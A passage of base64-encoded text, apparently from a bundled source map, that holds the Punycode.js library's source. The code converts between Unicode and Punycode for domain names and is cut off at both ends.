HhGQzAwKSA9PSAweERDMDApIHsgLy8gbG93IHN1cnJvZ2F0ZVxuXHRcdFx0XHRcdG91dHB1dC5wdXNoKCgodmFsdWUgJiAweDNGRikgPDwgMTApICsgKGV4dHJhICYgMHgzRkYpICsgMHgxMDAwMCk7XG5cdFx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdFx0Ly8gdW5tYXRjaGVkIHN1cnJvZ2F0ZTsgb25seSBhcHBlbmQgdGhpcyBjb2RlIHVuaXQsIGluIGNhc2UgdGhlIG5leHRcblx0XHRcdFx0XHQvLyBjb2RlIHVuaXQgaXMgdGhlIGhpZ2ggc3Vycm9nYXRlIG9mIGEgc3Vycm9nYXRlIHBhaXJcblx0XHRcdFx0XHRvdXRwdXQucHVzaCh2YWx1ZSk7XG5cdFx0XHRcdFx0Y291bnRlci0tO1xuXHRcdFx0XHR9XG5cdFx0XHR9IGVsc2Uge1xuXHRcdFx0XHRvdXRwdXQucHVzaCh2YWx1ZSk7XG5cdFx0XHR9XG5cdFx0fVxuXHRcdHJldHVybiBvdXRwdXQ7XG5cdH1cblxuXHQvKipcblx0ICogQ3JlYXRlcyBhIHN0cmluZyBiYXNlZCBvbiBhbiBhcnJheSBvZiBudW1lcmljIGNvZGUgcG9pbnRzLlxuXHQgKiBAc2VlIGBwdW55Y29kZS51Y3MyLmRlY29kZWBcblx0ICogQG1lbWJlck9mIHB1bnljb2RlLnVjczJcblx0ICogQG5hbWUgZW5jb2RlXG5cdCAqIEBwYXJhbSB7QXJyYXl9IGNvZGVQb2ludHMgVGhlIGFycmF5IG9mIG51bWVyaWMgY29kZSBwb2ludHMuXG5cdCAqIEByZXR1cm5zIHtTdHJpbmd9IFRoZSBuZXcgVW5pY29kZSBzdHJpbmcgKFVDUy0yKS5cblx0ICovXG5cdGZ1bmN0aW9uIHVjczJlbmNvZGUoYXJyYXkpIHtcblx0XHRyZXR1cm4gbWFwKGFycmF5LCBmdW5jdGlvbih2YWx1ZSkge1xuXHRcdFx0dmFyIG91dHB1dCA9ICcnO1xuXHRcdFx0aWYgKHZhbHVlID4gMHhGRkZGKSB7XG5cdFx0XHRcdHZhbHVlIC09IDB4MTAwMDA7XG5cdFx0XHRcdG91dHB1dCArPSBzdHJpbmdGcm9tQ2hhckNvZGUodmFsdWUgPj4+IDEwICYgMHgzRkYgfCAweEQ4MDApO1xuXHRcdFx0XHR2YWx1ZSA9IDB4REMwMCB8IHZhbHVlICYgMHgzRkY7XG5cdFx0XHR9XG5cdFx0XHRvdXRwdXQgKz0gc3RyaW5nRnJvbUNoYXJDb2RlKHZhbHVlKTtcblx0XHRcdHJldHVybiBvdXRwdXQ7XG5cdFx0fSkuam9pbignJyk7XG5cdH1cblxuXHQvKipcblx0ICogQ29udmVydHMgYSBiYXNpYyBjb2RlIHBvaW50IGludG8gYSBkaWdpdC9pbnRlZ2VyLlxuXHQgKiBAc2VlIGBkaWdpdFRvQmFzaWMoKWBcblx0ICogQHByaXZhdGVcblx0ICogQHBhcmFtIHtOdW1iZXJ9IGNvZGVQb2ludCBUaGUgYmFzaWMgbnVtZXJpYyBjb2RlIHBvaW50IHZhbHVlLlxuXHQgKiBAcmV0dXJucyB7TnVtYmVyfSBUaGUgbnVtZXJpYyB2YWx1ZSBvZiBhIGJhc2ljIGNvZGUgcG9pbnQgKGZvciB1c2UgaW5cblx0ICogcmVwcmVzZW50aW5nIGludGVnZXJzKSBpbiB0aGUgcmFuZ2UgYDBgIHRvIGBiYXNlIC0gMWAsIG9yIGBiYXNlYCBpZlxuXHQgKiB0aGUgY29kZSBwb2ludCBkb2VzIG5vdCByZXByZXNlbnQgYSB2YWx1ZS5cblx0ICovXG5cdGZ1bmN0aW9uIGJhc2ljVG9EaWdpdChjb2RlUG9pbnQpIHtcblx0XHRpZiAoY29kZVBvaW50IC0gNDggPCAxMCkge1xuXHRcdFx0cmV0dXJuIGNvZGVQb2ludCAtIDIyO1xuXHRcdH1cblx0XHRpZiAoY29kZVBvaW50IC0gNjUgPCAyNikge1xuXHRcdFx0cmV0dXJuIGNvZGVQb2ludCAtIDY1O1xuXHRcdH1cblx0XHRpZiAoY29kZVBvaW50IC0gOTcgPCAyNikge1xuXHRcdFx0cmV0dXJuIGNvZGVQb2ludCAtIDk3O1xuXHRcdH1cblx0XHRyZXR1cm4gYmFzZTtcblx0fVxuXG5cdC8qKlxuXHQgKiBDb252ZXJ0cyBhIGRpZ2l0L2ludGVnZXIgaW50byBhIGJhc2ljIGNvZGUgcG9pbnQuXG5cdCAqIEBzZWUgYGJhc2ljVG9EaWdpdCgpYFxuXHQgKiBAcHJpdmF0ZVxuXHQgKiBAcGFyYW0ge051bWJlcn0gZGlnaXQgVGhlIG51bWVyaWMgdmFsdWUgb2YgYSBiYXNpYyBjb2RlIHBvaW50LlxuXHQgKiBAcmV0dXJucyB7TnVtYmVyfSBUaGUgYmFzaWMgY29kZSBwb2ludCB3aG9zZSB2YWx1ZSAod2hlbiB1c2VkIGZvclxuXHQgKiByZXByZXNlbnRpbmcgaW50ZWdlcnMpIGlzIGBkaWdpdGAsIHdoaWNoIG5lZWRzIHRvIGJlIGluIHRoZSByYW5nZVxuXHQgKiBgMGAgdG8gYGJhc2UgLSAxYC4gSWYgYGZsYWdgIGlzIG5vbi16ZXJvLCB0aGUgdXBwZXJjYXNlIGZvcm0gaXNcblx0ICogdXNlZDsgZWxzZSwgdGhlIGxvd2VyY2FzZSBmb3JtIGlzIHVzZWQuIFRoZSBiZWhhdmlvciBpcyB1bmRlZmluZWRcblx0ICogaWYgYGZsYWdgIGlzIG5vbi16ZXJvIGFuZCBgZGlnaXRgIGhhcyBubyB1cHBlcmNhc2UgZm9ybS5cblx0ICovXG5cdGZ1bmN0aW9uIGRpZ2l0VG9CYXNpYyhkaWdpdCwgZmxhZykge1xuXHRcdC8vICAwLi4yNSBtYXAgdG8gQVNDSUkgYS4ueiBvciBBLi5aXG5cdFx0Ly8gMjYuLjM1IG1hcCB0byBBU0NJSSAwLi45XG5cdFx0cmV0dXJuIGRpZ2l0ICsgMjIgKyA3NSAqIChkaWdpdCA8IDI2KSAtICgoZmxhZyAhPSAwKSA8PCA1KTtcblx0fVxuXG5cdC8qKlxuXHQgKiBCaWFzIGFkYXB0YXRpb24gZnVuY3Rpb24gYXMgcGVyIHNlY3Rpb24gMy40IG9mIFJGQyAzNDkyLlxuXHQgKiBodHRwOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmMzNDkyI3NlY3Rpb24tMy40XG5cdCAqIEBwcml2YXRlXG5cdCAqL1xuXHRmdW5jdGlvbiBhZGFwdChkZWx0YSwgbnVtUG9pbnRzLCBmaXJzdFRpbWUpIHtcblx0XHR2YXIgayA9IDA7XG5cdFx0ZGVsdGEgPSBmaXJzdFRpbWUgPyBmbG9vcihkZWx0YSAvIGRhbXApIDogZGVsdGEgPj4gMTtcblx0XHRkZWx0YSArPSBmbG9vcihkZWx0YSAvIG51bVBvaW50cyk7XG5cdFx0Zm9yICgvKiBubyBpbml0aWFsaXphdGlvbiAqLzsgZGVsdGEgPiBiYXNlTWludXNUTWluICogdE1heCA+PiAxOyBrICs9IGJhc2UpIHtcblx0XHRcdGRlbHRhID0gZmxvb3IoZGVsdGEgLyBiYXNlTWludXNUTWluKTtcblx0XHR9XG5cdFx0cmV0dXJuIGZsb29yKGsgKyAoYmFzZU1pbnVzVE1pbiArIDEpICogZGVsdGEgLyAoZGVsdGEgKyBza2V3KSk7XG5cdH1cblxuXHQvKipcblx0ICogQ29udmVydHMgYSBQdW55Y29kZSBzdHJpbmcgb2YgQVNDSUktb25seSBzeW1ib2xzIHRvIGEgc3RyaW5nIG9mIFVuaWNvZGVcblx0ICogc3ltYm9scy5cblx0ICogQG1lbWJlck9mIHB1bnljb2RlXG5cdCAqIEBwYXJhbSB7U3RyaW5nfSBpbnB1dCBUaGUgUHVueWNvZGUgc3RyaW5nIG9mIEFTQ0lJLW9ubHkgc3ltYm9scy5cblx0ICogQHJldHVybnMge1N0cmluZ30gVGhlIHJlc3VsdGluZyBzdHJpbmcgb2YgVW5pY29kZSBzeW1ib2xzLlxuXHQgKi9cblx0ZnVuY3Rpb24gZGVjb2RlKGlucHV0KSB7XG5cdFx0Ly8gRG9uJ3QgdXNlIFVDUy0yXG5cdFx0dmFyIG91dHB1dCA9IFtdLFxuXHRcdCAgICBpbnB1dExlbmd0aCA9IGlucHV0Lmxlbmd0aCxcblx0XHQgICAgb3V0LFxuXHRcdCAgICBpID0gMCxcblx0XHQgICAgbiA9IGluaXRpYWxOLFxuXHRcdCAgICBiaWFzID0gaW5pdGlhbEJpYXMsXG5cdFx0ICAgIGJhc2ljLFxuXHRcdCAgICBqLFxuXHRcdCAgICBpbmRleCxcblx0XHQgICAgb2xkaSxcblx0XHQgICAgdyxcblx0XHQgICAgayxcblx0XHQgICAgZGlnaXQsXG5cdFx0ICAgIHQsXG5cdFx0ICAgIGxlbmd0aCxcblx0XHQgICAgLyoqIENhY2hlZCBjYWxjdWxhdGlvbiByZXN1bHRzICovXG5cdFx0ICAgIGJhc2VNaW51c1Q7XG5cblx0XHQvLyBIYW5kbGUgdGhlIGJhc2ljIGNvZGUgcG9pbnRzOiBsZXQgYGJhc2ljYCBiZSB0aGUgbnVtYmVyIG9mIGlucHV0IGNvZGVcblx0XHQvLyBwb2ludHMgYmVmb3JlIHRoZSBsYXN0IGRlbGltaXRlciwgb3IgYDBgIGlmIHRoZXJlIGlzIG5vbmUsIHRoZW4gY29weVxuXHRcdC8vIHRoZSBmaXJzdCBiYXNpYyBjb2RlIHBvaW50cyB0byB0aGUgb3V0cHV0LlxuXG5cdFx0YmFzaWMgPSBpbnB1dC5sYXN0SW5kZXhPZihkZWxpbWl0ZXIpO1xuXHRcdGlmIChiYXNpYyA8IDApIHtcblx0XHRcdGJhc2ljID0gMDtcblx0XHR9XG5cblx0XHRmb3IgKGogPSAwOyBqIDwgYmFzaWM7ICsraikge1xuXHRcdFx0Ly8gaWYgaXQncyBub3QgYSBiYXNpYyBjb2RlIHBvaW50XG5cdFx0XHRpZiAoaW5wdXQuY2hhckNvZGVBdChqKSA+PSAweDgwKSB7XG5cdFx0XHRcdGVycm9yKCdub3QtYmFzaWMnKTtcblx0XHRcdH1cblx0XHRcdG91dHB1dC5wdXNoKGlucHV0LmNoYXJDb2RlQXQoaikpO1xuXHRcdH1cblxuXHRcdC8vIE1haW4gZGVjb2RpbmcgbG9vcDogc3RhcnQganVzdCBhZnRlciB0aGUgbGFzdCBkZWxpbWl0ZXIgaWYgYW55IGJhc2ljIGNvZGVcblx0XHQvLyBwb2ludHMgd2VyZSBjb3BpZWQ7IHN0YXJ0IGF0IHRoZSBiZWdpbm5pbmcgb3RoZXJ3aXNlLlxuXG5cdFx0Zm9yIChpbmRleCA9IGJhc2ljID4gMCA/IGJhc2ljICsgMSA6IDA7IGluZGV4IDwgaW5wdXRMZW5ndGg7IC8qIG5vIGZpbmFsIGV4cHJlc3Npb24gKi8pIHtcblxuXHRcdFx0Ly8gYGluZGV4YCBpcyB0aGUgaW5kZXggb2YgdGhlIG5leHQgY2hhcmFjdGVyIHRvIGJlIGNvbnN1bWVkLlxuXHRcdFx0Ly8gRGVjb2RlIGEgZ2VuZXJhbGl6ZWQgdmFyaWFibGUtbGVuZ3RoIGludGVnZXIgaW50byBgZGVsdGFgLFxuXHRcdFx0Ly8gd2hpY2ggZ2V0cyBhZGRlZCB0byBgaWAuIFRoZSBvdmVyZmxvdyBjaGVja2luZyBpcyBlYXNpZXJcblx0XHRcdC8vIGlmIHdlIGluY3JlYXNlIGBpYCBhcyB3ZSBnbywgdGhlbiBzdWJ0cmFjdCBvZmYgaXRzIHN0YXJ0aW5nXG5cdFx0XHQvLyB2YWx1ZSBhdCB0aGUgZW5kIHRvIG9idGFpbiBgZGVsdGFgLlxuXHRcdFx0Zm9yIChvbGRpID0gaSwgdyA9IDEsIGsgPSBiYXNlOyAvKiBubyBjb25kaXRpb24gKi87IGsgKz0gYmFzZSkge1xuXG5cdFx0XHRcdGlmIChpbmRleCA+PSBpbnB1dExlbmd0aCkge1xuXHRcdFx0XHRcdGVycm9yKCdpbnZhbGlkLWlucHV0Jyk7XG5cdFx0XHRcdH1cblxuXHRcdFx0XHRkaWdpdCA9IGJhc2ljVG9EaWdpdChpbnB1dC5jaGFyQ29kZUF0KGluZGV4KyspKTtcblxuXHRcdFx0XHRpZiAoZGlnaXQgPj0gYmFzZSB8fCBkaWdpdCA+IGZsb29yKChtYXhJbnQgLSBpKSAvIHcpKSB7XG5cdFx0XHRcdFx0ZXJyb3IoJ292ZXJmbG93Jyk7XG5cdFx0XHRcdH1cblxuXHRcdFx0XHRpICs9IGRpZ2l0ICogdztcblx0XHRcdFx0dCA9IGsgPD0gYmlhcyA/IHRNaW4gOiAoayA+PSBiaWFzICsgdE1heCA/IHRNYXggOiBrIC0gYmlhcyk7XG5cblx0XHRcdFx0aWYgKGRpZ2l0IDwgdCkge1xuXHRcdFx0XHRcdGJyZWFrO1xuXHRcdFx0XHR9XG5cblx0XHRcdFx0YmFzZU1pbnVzVCA9IGJhc2UgLSB0O1xuXHRcdFx0XHRpZiAodyA+IGZsb29yKG1heEludCAvIGJhc2VNaW51c1QpKSB7XG5cdFx0XHRcdFx0ZXJyb3IoJ292ZXJmbG93Jyk7XG5cdFx0XHRcdH1cblxuXHRcdFx0XHR3ICo9IGJhc2VNaW51c1Q7XG5cblx0XHRcdH1cblxuXHRcdFx0b3V0ID0gb3V0cHV0Lmxlbmd0aCArIDE7XG5cdFx0XHRiaWFzID0gYWRhcHQoaSAtIG9sZGksIG91dCwgb2xkaSA9PSAwKTtcblxuXHRcdFx0Ly8gYGlgIHdhcyBzdXBwb3NlZCB0byB3cmFwIGFyb3VuZCBmcm9tIGBvdXRgIHRvIGAwYCxcblx0XHRcdC8vIGluY3JlbWVudGluZyBgbmAgZWFjaCB0aW1lLCBzbyB3ZSdsbCBmaXggdGhhdCBub3c6XG5cdFx0XHRpZiAoZmxvb3IoaSAvIG91dCkgPiBtYXhJbnQgLSBuKSB7XG5cdFx0XHRcdGVycm9yKCdvdmVyZmxvdycpO1xuXHRcdFx0fVxuXG5cdFx0XHRuICs9IGZsb29yKGkgLyBvdXQpO1xuXHRcdFx0aSAlPSBvdXQ7XG5cblx0XHRcdC8vIEluc2VydCBgbmAgYXQgcG9zaXRpb24gYGlgIG9mIHRoZSBvdXRwdXRcblx0XHRcdG91dHB1dC5zcGxpY2UoaSsrLCAwLCBuKTtcblxuXHRcdH1cblxuXHRcdHJldHVybiB1Y3MyZW5jb2RlKG91dHB1dCk7XG5cdH1cblxuXHQvKipcblx0ICogQ29udmVydHMgYSBzdHJpbmcgb2YgVW5pY29kZSBzeW1ib2xzIHRvIGEgUHVueWNvZGUgc3RyaW5nIG9mIEFTQ0lJLW9ubHlcblx0ICogc3ltYm9scy5cblx0ICogQG1lbWJlck9mIHB1bnljb2RlXG5cdCAqIEBwYXJhbSB7U3RyaW5nfSBpbnB1dCBUaGUgc3RyaW5nIG9mIFVuaWNvZGUgc3ltYm9scy5cblx0ICogQHJldHVybnMge1N0cmluZ30gVGhlIHJlc3VsdGluZyBQdW55Y29kZSBzdHJpbmcgb2YgQVNDSUktb25seSBzeW1ib2xzLlxuXHQgKi9cblx0ZnVuY3Rpb24gZW5jb2RlKGlucHV0KSB7XG5cdFx0dmFyIG4sXG5cdFx0ICAgIGRlbHRhLFxuXHRcdCAgICBoYW5kbGVkQ1BDb3VudCxcblx0XHQgICAgYmFzaWNMZW5ndGgsXG5cdFx0ICAgIGJpYXMsXG5cdFx0ICAgIGosXG5cdFx0ICAgIG0sXG5cdFx0ICAgIHEsXG5cdFx0ICAgIGssXG5cdFx0ICAgIHQsXG5cdFx0ICAgIGN1cnJlbnRWYWx1ZSxcblx0XHQgICAgb3V0cHV0ID0gW10sXG5cdFx0ICAgIC8qKiBgaW5wdXRMZW5ndGhgIHdpbGwgaG9sZCB0aGUgbnVtYmVyIG9mIGNvZGUgcG9pbnRzIGluIGBpbnB1dGAuICovXG5cdFx0ICAgIGlucHV0TGVuZ3RoLFxuXHRcdCAgICAvKiogQ2FjaGVkIGNhbGN1bGF0aW9uIHJlc3VsdHMgKi9cblx0XHQgICAgaGFuZGxlZENQQ291bnRQbHVzT25lLFxuXHRcdCAgICBiYXNlTWludXNULFxuXHRcdCAgICBxTWludXNUO1xuXG5cdFx0Ly8gQ29udmVydCB0aGUgaW5wdXQgaW4gVUNTLTIgdG8gVW5pY29kZVxuXHRcdGlucHV0ID0gdWNzMmRlY29kZShpbnB1dCk7XG5cblx0XHQvLyBDYWNoZSB0aGUgbGVuZ3RoXG5cdFx0aW5wdXRMZW5ndGggPSBpbnB1dC5sZW5ndGg7XG5cblx0XHQvLyBJbml0aWFsaXplIHRoZSBzdGF0ZVxuXHRcdG4gPSBpbml0aWFsTjtcblx0XHRkZWx0YSA9IDA7XG5cdFx0YmlhcyA9IGluaXRpYWxCaWFzO1xuXG5cdFx0Ly8gSGFuZGxlIHRoZSBiYXNpYyBjb2RlIHBvaW50c1xuXHRcdGZvciAoaiA9IDA7IGogPCBpbnB1dExlbmd0aDsgKytqKSB7XG5cdFx0XHRjdXJyZW50VmFsdWUgPSBpbnB1dFtqXTtcblx0XHRcdGlmIChjdXJyZW50VmFsdWUgPCAweDgwKSB7XG5cdFx0XHRcdG91dHB1dC5wdXNoKHN0cmluZ0Zyb21DaGFyQ29kZShjdXJyZW50VmFsdWUpKTtcblx0XHRcdH1cblx0XHR9XG5cblx0XHRoYW5kbGVkQ1BDb3VudCA9IGJhc2ljTGVuZ3RoID0gb3V0cHV0Lmxlbmd0aDtcblxuXHRcdC8vIGBoYW5kbGVkQ1BDb3VudGAgaXMgdGhlIG51bWJlciBvZiBjb2RlIHBvaW50cyB0aGF0IGhhdmUgYmVlbiBoYW5kbGVkO1xuXHRcdC8vIGBiYXNpY0xlbmd0aGAgaXMgdGhlIG51bWJlciBvZiBiYXNpYyBjb2RlIHBvaW50cy5cblxuXHRcdC8vIEZpbmlzaCB0aGUgYmFzaWMgc3RyaW5nIC0gaWYgaXQgaXMgbm90IGVtcHR5IC0gd2l0aCBhIGRlbGltaXRlclxuXHRcdGlmIChiYXNpY0xlbmd0aCkge1xuXHRcdFx0b3V0cHV0LnB1c2goZGVsaW1pdGVyKTtcblx0XHR9XG5cblx0XHQvLyBNYWluIGVuY29kaW5nIGxvb3A6XG5cdFx0d2hpbGUgKGhhbmRsZWRDUENvdW50IDwgaW5wdXRMZW5ndGgpIHtcblxuXHRcdFx0Ly8gQWxsIG5vbi1iYXNpYyBjb2RlIHBvaW50cyA8IG4gaGF2ZSBiZWVuIGhhbmRsZWQgYWxyZWFkeS4gRmluZCB0aGUgbmV4dFxuXHRcdFx0Ly8gbGFyZ2VyIG9uZTpcblx0XHRcdGZvciAobSA9IG1heEludCwgaiA9IDA7IGogPCBpbnB1dExlbmd0aDsgKytqKSB7XG5cdFx0XHRcdGN1cnJlbnRWYWx1ZSA9IGlucHV0W2pdO1xuXHRcdFx0XHRpZiAoY3VycmVudFZhbHVlID49IG4gJiYgY3VycmVudFZhbHVlIDwgbSkge1xuXHRcdFx0XHRcdG0gPSBjdXJyZW50VmFsdWU7XG5cdFx0XHRcdH1cblx0XHRcdH1cblxuXHRcdFx0Ly8gSW5jcmVhc2UgYGRlbHRhYCBlbm91Z2ggdG8gYWR2YW5jZSB0aGUgZGVjb2RlcidzIDxuLGk+IHN0YXRlIHRvIDxtLDA+LFxuXHRcdFx0Ly8gYnV0IGd1YXJkIGFnYWluc3Qgb3ZlcmZsb3dcblx0XHRcdGhhbmRsZWRDUENvdW50UGx1c09uZSA9IGhhbmRsZWRDUENvdW50ICsgMTtcblx0XHRcdGlmIChtIC0gbiA+IGZsb29yKChtYXhJbnQgLSBkZWx0YSkgLyBoYW5kbGVkQ1BDb3VudFBsdXNPbmUpKSB7XG5cdFx0XHRcdGVycm9yKCdvdmVyZmxvdycpO1xuXHRcdFx0fVxuXG5cdFx0XHRkZWx0YSArPSAobSAtIG4pICogaGFuZGxlZENQQ291bnRQbHVzT25lO1xuXHRcdFx0biA9IG07XG5cblx0XHRcdGZvciAoaiA9IDA7IGogPCBpbnB1dExlbmd0aDsgKytqKSB7XG5cdFx0XHRcdGN1cnJlbnRWYWx1ZSA9IGlucHV0W2pdO1xuXG5cdFx0XHRcdGlmIChjdXJyZW50VmFsdWUgPCBuICYmICsrZGVsdGEgPiBtYXhJbnQpIHtcblx0XHRcdFx0XHRlcnJvcignb3ZlcmZsb3cnKTtcblx0XHRcdFx0fVxuXG5cdFx0XHRcdGlmIChjdXJyZW50VmFsdWUgPT0gbikge1xuXHRcdFx0XHRcdC8vIFJlcHJlc2VudCBkZWx0YSBhcyBhIGdlbmVyYWxpemVkIHZhcmlhYmxlLWxlbmd0aCBpbnRlZ2VyXG5cdFx0XHRcdFx0Zm9yIChxID0gZGVsdGEsIGsgPSBiYXNlOyAvKiBubyBjb25kaXRpb24gKi87IGsgKz0gYmFzZSkge1xuXHRcdFx0XHRcdFx0dCA9IGsgPD0gYmlhcyA/IHRNaW4gOiAoayA+PSBiaWFzICsgdE1heCA/IHRNYXggOiBrIC0gYmlhcyk7XG5cdFx0XHRcdFx0XHRpZiAocSA8IHQpIHtcblx0XHRcdFx0XHRcdFx0YnJlYWs7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0XHRxTWludXNUID0gcSAtIHQ7XG5cdFx0XHRcdFx0XHRiYXNlTWludXNUID0gYmFzZSAtIHQ7XG5cdFx0XHRcdFx0XHRvdXRwdXQucHVzaChcblx0XHRcdFx0XHRcdFx0c3RyaW5nRnJvbUNoYXJDb2RlKGRpZ2l0VG9CYXNpYyh0ICsgcU1pbnVzVCAlIGJhc2VNaW51c1QsIDApKVxuXHRcdFx0XHRcdFx0KTtcblx0XHRcdFx0XHRcdHEgPSBmbG9vcihxTWludXNUIC8gYmFzZU1pbnVzVCk7XG5cdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0b3V0cHV0LnB1c2goc3RyaW5nRnJvbUNoYXJDb2RlKGRpZ2l0VG9CYXNpYyhxLCAwKSkpO1xuXHRcdFx0XHRcdGJpYXMgPSBhZGFwdChkZWx0YSwgaGFuZGxlZENQQ291bnRQbHVzT25lLCBoYW5kbGVkQ1BDb3VudCA9PSBiYXNpY0xlbmd0aCk7XG5cdFx0XHRcdFx0ZGVsdGEgPSAwO1xuXHRcdFx0XHRcdCsraGFuZGxlZENQQ291bnQ7XG5cdFx0XHRcdH1cblx0XHRcdH1cblxuXHRcdFx0KytkZWx0YTtcblx0XHRcdCsrbjtcblxuXHRcdH1cblx0XHRyZXR1cm4gb3V0cHV0LmpvaW4oJycpO1xuXHR9XG5cblx0LyoqXG5cdCAqIENvbnZlcnRzIGEgUHVueWNvZGUgc3RyaW5nIHJlcHJlc2VudGluZyBhIGRvbWFpbiBuYW1lIHRvIFVuaWNvZGUuIE9ubHkgdGhlXG5cdCAqIFB1bnljb2RlZCBwYXJ0cyBvZiB0aGUgZG9tYWluIG5hbWUgd2lsbCBiZSBjb252ZXJ0ZWQsIGkuZS4gaXQgZG9lc24ndFxuXHQgKiBtYXR0ZXIgaWYgeW91IGNhbGwgaXQgb24gYSBzdHJpbmcgdGhhdCBoYXMgYWxyZWFkeSBiZWVuIGNvbnZlcnRlZCB0b1xuXHQgKiBVbmljb2RlLlxuXHQgKiBAbWVtYmVyT2YgcHVueWNvZGVcblx0ICogQHBhcmFtIHtTdHJpbmd9IGRvbWFpbiBUaGUgUHVueWNvZGUgZG9tYWluIG5hbWUgdG8gY29udmVydCB0byBVbmljb2RlLlxuXHQgKiBAcmV0dXJucyB7U3RyaW5nfSBUaGUgVW5pY29kZSByZXByZXNlbnRhdGlvbiBvZiB0aGUgZ2l2ZW4gUHVueWNvZGVcblx0ICogc3RyaW5nLlxuXHQgKi9cblx0ZnVuY3Rpb24gdG9Vbmljb2RlKGRvbWFpbikge1xuXHRcdHJldHVybiBtYXBEb21haW4oZG9tYWluLCBmdW5jdGlvbihzdHJpbmcpIHtcblx0XHRcdHJldHVybiByZWdleFB1bnljb2RlLnRlc3Qoc3RyaW5nKVxuXHRcdFx0XHQ/IGRlY29kZShzdHJpbmcuc2xpY2UoNCkudG9Mb3dlckNhc2UoKSlcblx0XHRcdFx0OiBzdHJpbmc7XG5cdFx0fSk7XG5cdH1cblxuXHQvKipcblx0ICogQ29udmVydHMgYSBVbmljb2RlIHN0cmluZyByZXByZXNlbnRpbmcgYSBkb21haW4gbmFtZSB0byBQdW55Y29kZS4gT25seSB0aGVcblx0ICogbm9uLUFTQ0lJIHBhcnRzIG9mIHRoZSBkb21haW4gbmFtZSB3aWxsIGJlIGNvbnZlcnRlZCwgaS5lLiBpdCBkb2Vzbid0XG5cdCAqIG1hdHRlciBpZiB5b3UgY2FsbCBpdCB3aXRoIGEgZG9tYWluIHRoYXQncyBhbHJlYWR5IGluIEFTQ0lJLlxuXHQgKiBAbWVtYmVyT2YgcHVueWNvZGVcblx0ICogQHBhcmFtIHtTdHJpbmd9IGRvbWFpbiBUaGUgZG9tYWluIG5hbWUgdG8gY29udmVydCwgYXMgYSBVbmljb2RlIHN0cmluZy5cblx0ICogQHJldHVybnMge1N0cmluZ30gVGhlIFB1bnljb2RlIHJlcHJlc2VudGF0aW9uIG9mIHRoZSBnaXZlbiBkb21haW4gbmFtZS5cblx0ICovXG5cdGZ1bmN0aW9uIHRvQVNDSUkoZG9tYWluKSB7XG5cdFx0cmV0dXJuIG1hcERvbWFpbihkb21haW4sIGZ1bmN0aW9uKHN0cmluZykge1xuXHRcdFx0cmV0dXJuIHJlZ2V4Tm9uQVNDSUkudGVzdChzdHJpbmcpXG5cdFx0XHRcdD8gJ3huLS0nICsgZW5jb2RlKHN0cmluZylcblx0XHRcdFx0OiBzdHJpbmc7XG5cdFx0fSk7XG5cdH1cblxuXHQvKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi9cblxuXHQvKiogRGVmaW5lIHRoZSBwdWJsaWMgQVBJICovXG5cdHB1bnljb2RlID0ge1xuXHRcdC8qKlxuXHRcdCAqIEEgc3RyaW5nIHJlcHJlc2VudGluZyB0aGUgY3VycmVudCBQdW55Y29kZS5qcyB2ZXJzaW9uIG51bWJlci5cblx0XHQgKiBAbWVtYmVyT2YgcHVueWNvZGVcblx0XHQgKiBAdHlwZSBTdHJpbmdcblx0XHQgKi9cblx0XHQndmVyc2lvbic6ICcxLjIuMycsXG5cdFx0LyoqXG5cdFx0ICogQW4gb2JqZWN0IG9mIG1ldGhvZHMgdG8gY29udmVydCBmcm9tIEphdmFTY3JpcHQncyBpbnRlcm5hbCBjaGFyYWN0ZXJcblx0XHQgKiByZXByZXNlbnRhdGlvbiAoVUNTLTIpIHRvIFVuaWNvZGUgY29kZSBwb2ludHMsIGFuZCBiYWNrLlxuXHRcdCAqIEBzZWUgPGh0dHA6Ly9tYXRoaWFzYnluZW5zLmJlL25vdGVzL2phdmFzY3JpcHQtZW5jb2Rpbmc+XG5cdFx0ICogQG1lbWJlck9mIHB1bnljb2RlXG5cdFx0ICogQHR5cGUgT2JqZWN0XG5cdFx0ICovXG5cdFx0J3VjczInOiB7XG5cdFx0XHQnZGVjb2RlJzogdWNzMmRlY29kZSxcblx0XHRcdCdlbmNvZGUnOiB1Y3MyZW5jb2RlXG5cdFx0fSxcblx0XHQnZGVjb2RlJzogZGVjb2RlLFxuXHRcdCdlbmNvZGUnOiBlbmNvZGUsXG5cdFx0J3RvQVNDSUknOiB0b0FTQ0lJLFxuXHRcdCd0b1VuaWNvZGUnOiB0b1VuaWNvZGVcblx0fTtcblxuXHQvKiogRXhwb3NlIGBwdW55Y29kZWAgKi9cblx0Ly8gU29tZSBBTUQgYnVpbGQgb3B0aW1pemVycywgbGlrZSByLmpzLCBjaGVjayBmb3Igc3BlY2lmaWMgY29uZGl0aW9uIHBhdHRlcm5zXG5cdC8vIGxpa2UgdGhlIGZvbGxvd2luZzpcblx0aWYgKFxuXHRcdHR5cGVvZiBkZWZpbmUgPT0gJ2Z1bmN0aW9uJyAmJlxuXHRcdHR5cGVvZiBkZWZpbmUuYW1kID09ICdvYmplY3QnICYmXG5cdFx0ZGVmaW5lLmFtZFxuXHQpIHtcblx0XHRkZWZpbmUoZnVuY3Rpb24oKSB7XG5cdFx0XHRyZXR1cm4gcHVueWNvZGU7XG5cdFx0fSk7XG5cdH1cdGVsc2UgaWYgKGZyZWVFeHBvcnRzICYmICFmcmVlRXhwb3J0cy5ub2RlVHlwZSkge1xuXHRcdGlmIChmcmVlTW9kdWxlKSB7IC8vIGluIE5vZGUuanMgb3IgUmluZ29KUyB2MC44LjArXG5cdFx0XHRmcmVlTW9kdWxlLmV4cG9ydHMgPSBwdW55Y29kZTtcblx0XHR9IGVsc2UgeyAvLyBpbiBOYXJ3aGFsIG9yIFJpbmdvSlMgdjAuNy4wLVxuXHRcdFx0Zm9yIChrZXkgaW4gcHVueWNvZGUpIHtcblx0XHRcdFx0cHVueWNvZGUuaGFzT3duUHJvcGVydHkoa2V5KSAmJiAoZnJlZUV4cG9ydHNba2V5XSA9IHB1bnljb2RlW2tleV0pO1xuXHRcdFx0fVxuXHRcdH1cblx0fSBlbHNlIHsgLy8gaW4gUmhpbm8gb3IgYSB3ZWIgYnJvd3NlclxuXHRcdHJvb3QucHVueWNvZGUgPSBwdW55Y29kZTtcblx0fVxuXG59KHRoaXMpKTtcbiIsIid1c2Ugc3R